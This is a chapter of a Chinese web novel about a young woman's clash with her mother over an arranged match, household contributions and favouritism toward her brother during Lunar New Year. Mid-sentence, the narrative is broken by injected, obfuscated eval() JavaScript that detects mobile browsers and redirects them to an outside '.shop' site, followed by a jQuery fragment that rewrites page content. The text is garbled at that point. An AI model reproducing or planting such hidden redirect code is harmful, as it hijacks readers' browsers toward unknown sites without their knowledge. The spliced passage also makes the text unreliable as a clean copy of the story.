新年嘉平。
大年初一饮早茶，在外婆家是必不可少的仪式。只是与广府文化区讲究精致的一盅两件不同，粤北山区的年味来得更质朴豪迈，满桌尽是用来消闲的零嘴。
红黑瓜子各据一盘，实打实堆成了两座小山；开心果、夏威夷果、核桃等坚果类自成一派；色彩最斑斓的要数糖果盘，星球杯、利是糖、大白兔、瑞士糖混着金莎巧克力；徐福记的酥糖饼干也层层叠叠地垒得老高，旁边自然少不了元朗蛋卷、丹麦蓝罐曲奇，以及自家炸得金黄滚圆的煎堆。
一家人围坐在桌前，几盏绿茶下肚，解了零嘴的腻，闲话也聊透了，外婆和舅舅、舅娘便开始给小辈派利是。
在老家，只要没结婚就是孩子，哪怕周予萂已在职场里摸爬滚打了三年，此刻也乖乖伸手接过红包，而后反手摸出提前备好的现金。未婚晚辈不好给长辈派红包，但这并不妨碍她表心意。
“阿婆，规矩我懂，不用红包就不算破例，这点钱汝得收下，小小心意。”她动作利落，趁着外婆推辞的空档，直接将一千元塞进了老人手里，然后又给舅舅舅娘各塞了五百，话也说得漂亮:“不算红包，是给汝哋买茶饮的。”
早茶刚散，住在隔壁的几位叔伯便踩着点陆续登门。拱手作揖间，拜年的吉祥话在客厅里此起彼伏。
拜完年，周予萂便寻个空档退到一旁，低头看起了手机。
工作群的消息提示音震个没停，全是发新年祝福的，她跟着队形拜年，顺手点开了几个红包，金额不大，十几二十块钱，大家都没什么心理负担，只当是讨个新年的好意头。
退回消息列表时，她的手指顿在了半空。
那个对话框还挂在显眼的位置。昨晚陈屿的转账，她没收，也没回，那笔钱就这么悬着。这会，系统不知趣地又跳出一行小字提醒：你有一笔待接收的转账。
周予盯着那行字看了两秒，最终什么也没做，直接把屏幕摁灭了。
到了年初二，家里的人气便迎来了井喷。外婆的三个女儿，包括周予萂的母亲叶满苓在内，纷纷携家带口回到娘家。原本一家七口的清净老宅，瞬间涌进了二十多号人。
自年前小插曲之后，叶满苓再也没联系过她，母女俩的关系又恢复从前，争执过后，谁也不会主动找台阶，更不会谋求问题的解法，因为这是个死结，解不开。
她们默契地，当做无事发生。
起初倒也相安无事。大家甫一见面，气氛自是一团和气，嘴里倒腾的也尽是吉祥话。可这层温情面纱没撑多久，到了年初四，那些藏在瓜子壳和茶水底下的议题，譬如催婚、催生、催上岸，终于按捺不住、图穷匕见。
周予萂工作三年，单身未婚，且供职于一家听都没听过的私企，自然成了这三堂会审中心的头号靶子。
大姨家住深圳，常年混迹在城中村本地富婆圈的麻将桌上，消息最为灵通。午后，一家人在客厅消食，大姨一边磕着红瓜，一边状似无意地开腔：
“哎，满苓啊，我正好认识一个很好的人家。男方是深圳本地的拆迁户，当兵回来，身体结实，家里光收租的楼就有好几栋，几辈子都吃不完。人家眼光高，就想找个家世清白、学历高、模样又俊俏的客家妹子。我看予萂就正合适，名牌大学毕业，生得靓，最关键是汝哋两口子都有单位，以后有退休金，没负担，人家看重这个。”
叶满苓原本正低头剥着橘子，一听这话，眼睛立马亮了，橘子皮一扔，身子往前探了探：“这条件是真不错啊！大姐，汝做个媒人，引荐他们认识认识？”
大姨磕瓜子的动作顿了顿，眼神轻飘飘地往角落里的周予萂身上瞟了一眼：“引荐倒不是问题，就是不知道予萂怎么想呢？”
“还能怎么想？”叶满苓大手一挥，直接截断了话头，“这么好的条件有什么可挑的？”
周予萂闻言，心口一沉，那股熟悉的窒息感瞬间涌了上来。她就知道，人一多，她安宁的年就算过到头了。
她压住心头乱窜的火，冷笑一声打断：“这么好的条件，既有楼收租又是本地人，什么样的找不到？为什么要找我这种从外地来的打工人？一没钱二没势，他们图我什么？”
大姨也没藏着掖着，吐出一片瓜子壳，大实话张嘴就来：“哎呀，那个男仔是初中毕业，没读过什么书。家里就想找个学历高、脑袋聪明的，好改良一下基因，下一代能聪明点嘛。”
“我不要。”周予萂拒绝地果断。
她骨子里是极度慕强的。从小到大，她只看得上比她强、比她见多识广的人。让她去扶贫对方的智商，还要当生育机器，她做不到，更觉得恶心。
“怎么不要？”叶满苓脸上的笑意垮了下来，“哎呀，都这个时代了，学历有什么用？那一纸文凭能当饭吃吗？家里有钱、手里有楼，以后过上好日子，生活不用愁啊！”
这一句话，直接炸了周予萂积压已久的委屈，忍无可忍，无需再忍。
“你不觉得自己很割裂、很可笑吗？以前上学的时候，你揪着我耳朵盯我学习，少考一分都要挨骂，生怕我跌出年级前三丢你的脸。怎么现在到了谈婚论嫁的时候，你的标准就变了？你逼出一个大学生，唯一的用途就是把她嫁给一个连高中都没上过的人，好去换几栋收租的楼？”
被女儿当众顶撞，叶满苓面子上挂不住，声音陡然尖厉起来：“名牌大学出来的又怎么样？汝读了那么多书，现在不还是在一个听都没听过的小破公司打工？汝有正经编制吗？汝有铁饭碗吗？讲出去不就是个打工妹？”
她越说越激动，手指几乎要戳到周予萂的鼻尖：“工作三年了，汝为家里付出过什么？别人家的妹子，一工作就上交工资卡，汝过年过节就发个几百块红包，钱没挣多少，心气比天还高！”
周予萂冷声反问：“为什么？凭什么我辛辛苦苦挣来的钱要上交？。”
“什么意思？！”
叶满苓像是听到了什么天大的笑话，音量骤然拔高，尖锐得几乎要刺穿她的耳膜，“养汝这么大，是白养了吗？现在翅膀硬了，觉得不用给钱我花了是吧？？我话你听，从下个月开始，汝每个月要开始上交家用！”
“你自己有工作、有社保，将来还有不菲的退休金，为什么总惦记我手里那点芝麻绿豆的小钱？”周予萂语速越来越快，“我一个人在深圳打拼，房租、水电、吃饭、通勤，哪一样不要钱？你以为我过得很容易吗？况且我一年到头没住过你家，凭什么还要给你交那份莫名其妙的家用？”
“好啊！汝现在开始算账了是吧？”叶满苓气得胸口剧烈起伏，手指点着周予萂的鼻子，声音都在发颤：“我生养汝花了多少心血多少钱？汝冇良心！”
“是我求你生我的吗？我有选择的权利吗？”
这句话几乎是吼出来的。
周予萂眼眶发红，平日里维持的体面与隐忍在这一刻决堤。她盯着母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410507|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲，一字一句地说：“作为父母，把我生下来，抚养我到18岁是法律规定的责任和义务，不是恩赐！别总拿这个来绑架我！”
她深吸一口气，冷冷地说：“别忘了，我生下来的那天，你就把我送走了。”
“还有，你刚才这些大道理，哪怕有一个字跟周予泽说过吗？你让他交家用了吗？有本事你把刚才这番话，原封不动地去跟你宝贝儿子说一遍！”
叶满苓的脸色瞬间通红，被当面点破重男轻女的事实，只能恼羞成怒地掷出道德高帽，声音冰冷而刻薄：“你们两个都一样！都得交！我怎么生出你这种出奇的女儿？”
“出奇？是我出奇，还是你们更出奇？”
常人做不出来的事，如果你做了，那叫出奇。在客家话里，出奇这个词，除了有不同寻常的含义，更代表离经叛道。在她听来，这是一个很重的词。
一时之间，所有争辩的力气都消失了。她看着面目狰狞的母亲，眼底的光一点点暗下去，“行，随你怎么说。”她声音轻飘飘的，“我和你，没什么好说的。”
———
在叶满苓眼中，周予萂就是天生反骨、性格冷漠、不近人情。
自从七岁那年把她接回家住后，叶满苓就认定她养不熟。但凡假期超过三天，周予萂宁愿一个人去挤那辆常年弥漫着劣质汽油味的乡镇中巴，一路晕车吐到翻江倒海，再灰头土脸地在县城客运站折腾换乘去外婆家，也不愿意在家里多待一秒。她始终想不通：短短三天假，家里是有洪水猛兽，还是长了刺、着了火？犯得着让她如此大费周章地逃离？
可叶满苓不知道，甚至早就忘了，这种冷漠是她亲手教出来的。
小时候，周予萂听同学说：“只要跟妈妈撒撒娇，她肯定心软，什么都答应你！”
那时的她信以为真，满心欢喜地跑回家，笨拙地学别人一样，凑到母亲身边，故作亲昵地挽住那只并不温暖的手，仰起脸软声央求：“妈妈，求求你啦，能不能带我回外婆家呀？”
她以为这招对世界上的所有妈妈都通用。然而，回应她的，是叶满苓冷冷甩开的手，和一句比冰碴子还硬的拒绝：“少来这套，别以为撒娇我就会答应，想都别想。”
从那以后，周予萂没有对任何人撒过娇。
她学会了自己查复杂的客运路线，学会了背着比身体还宽的大书包在人流中挤车，也学会了在满车嘈杂的大人堆里，踮起脚尖，用稚嫩的嗓音朝司机大喊：“师傅！前面路口落车，多谢！”
那一年，她才六岁。
这种独立在叶满苓看来，就是严重的性格缺陷。她认为周予萂心野、主意大、难以掌控。她越是想把女儿捏在手心里，周予萂就越像一根被压到极致的弹簧，反弹得更远、更狠。
小时候，叶满苓希望她恋家，能在家里过年，一家人整整齐齐吃团圆饭。可周予萂一放假就自己坐车去了外婆家。
高考结束，叶满苓一心盼着她留在广东，最好考上华师，以后当个老师，稳当又体面。周予萂却偏偏卯足了劲，非要报考省外的大学，最后还选了个在叶满苓眼里百无一用的社会学专业。
毕业后，叶满苓苦口婆心劝她回家考公，端铁饭碗，再找个知根知底的人结婚生子。可周予萂偏偏一头扎进了不知名私企，至今单身，现在还不愿接受人家给她介绍的相亲对象。
这二十多年来，周予萂做的事，没一件如她意，没一桩称她心。